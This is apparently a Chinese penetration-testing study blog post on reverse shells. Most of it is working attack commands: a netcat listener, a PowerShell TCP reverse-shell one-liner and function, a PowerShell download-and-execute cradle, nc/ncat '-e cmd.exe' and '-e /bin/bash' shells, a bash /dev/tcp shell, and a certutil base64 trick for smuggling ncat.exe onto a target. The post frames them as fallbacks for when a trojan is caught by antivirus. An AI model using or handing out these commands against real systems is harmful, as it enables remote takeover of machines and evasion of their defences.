记录内网渗透学习进程--DAY13

内⽹穿透之2.SHELL反弹

在很多时候,我们得到⼀个可以执⾏OS命令的点,我们上⻢发现不能上线(比如被🐎杀了,被拦截了),但是⼜确定是出⽹的,这个时候就可以把SHELL反弹出来,具体观察一下情况

各类反弹姿势
既然是反弹SHELL,肯定是需要有接收⽅的,⼀般接收SHELL的地⽅都是在我们的VPS上,也可以通过映射后反弹到我们的本地的攻击机。接收⼀般都是⽤的Ncat来接收,Linux⼀般都是⾃带。那么,我们现在我们的VPS上⽤nc来监听⼀个端口以接受反弹回来的shell
nc -lvp port
 
windows:

1.Powershell
长代码
powershell.exe -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.229.129',888);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0) {;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1 |Out-String);$sendback2=$sendback + 'PS' + (pwd).Path + '>';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
直接拉到可执行的地方执行就可以,相信聪明的小伙伴知道改ip和端口
 
短代码
functionInvoke-lltestTcp
{
$client=New-Object Net.Sockets.TCPClient('192.168.1.11',123)
$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0}
while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0)
{
$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback=(iex $data 2>&1|Out-String)
$sendback2=$sendback + 'PS' + (pwd).Path+'>'
$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}
 
长代码过于⻓了,在某些点不能很好的执⾏,那么我们可以把代码写进Ps1⽂件⾥⾯,即把上⾯这段代码保存到Ps1⽂件,修改好IP和端口,然后⽤Powershell的下载执⾏来反弹shell
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.229.130/fantan.ps1');Invoke-lltestTcp

 

 

 

 

Ncat反弹
Ncat,既可以接受反弹回来的shell,还可以把shell反弹回去。如果你⽬标是windows,那就是反弹cmdshell
nc -e c:\windows\systemin32\cmd.exe <your-vps-ip> <your-listen-port>
ncat.exe -e cmd.exe 8.8.8.8 8080
 
当机器是有certutil的时候,这个命令⾏⼯具默认是安装在windows的,可以利⽤它从外⽹下载⽂件进去,也可以把⼆进制程序转码成其他编码,⽐如转成base64
那么思路就是把 ncat.exe等反弹的⼆进制⽂件转码成base64,然后再echo进⽬标机器,然后再恢复成⼆进制⽂件,即可正常使⽤。

本地
certutil -encode ncat.exe ncat.base64
把⽂件⼀⾏⼀⾏echo上去之后
certutil -decode ncat.base64 n.exe
然后再反弹
n.exe -e cmd.exe 192.168.1.2 8800
此法在⽬标环境为深层内⽹且不通⽹且可利⽤条件极差的情况⽤

Linux:
nc -e /bin/bash 8.8.8.8 8080

bash:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
某些linux不支持
 
 
 
 
 
 
 
 
 
posted @ 2021-04-28 15:00  paku  阅读(190)  评论(0)    收藏  举报